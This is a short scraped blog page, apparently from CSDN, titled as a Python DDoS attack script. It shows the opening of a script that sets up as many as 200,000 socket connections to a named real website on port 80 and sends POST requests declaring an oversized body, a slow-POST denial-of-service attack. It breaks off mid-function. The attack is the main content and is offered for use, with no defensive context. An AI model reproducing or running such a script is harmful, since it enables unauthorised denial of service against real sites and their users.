All posts by admin

【Python】实现DDOS攻击脚本_May女子の博客-CSDN博客_ddos强力攻击脚本

#!/usr/bin/env python import socket import time import threading # Pressure Test,ddos tool # ————————— MAX_CONN = 200000 # 最大socket链接量 PORT = 80 HOST = “www.ssyer.com” PAGE = “/photography” # ————————— buf = (“POST %s HTTP/1.1\r\n” “Host: %s\r\n” “Content-Length: 10000000\r\n” “Cookie: dklkt_dos_test\r\n” “\r\n” % (PAGE, HOST)) # 创建socket链接列表,存储上20万个socket socks = [] # 循环创建socket链接 def conn_thread(): global socks for i in range

Source: 【Python】实现DDOS攻击脚本_May女子の博客-CSDN博客_ddos强力攻击脚本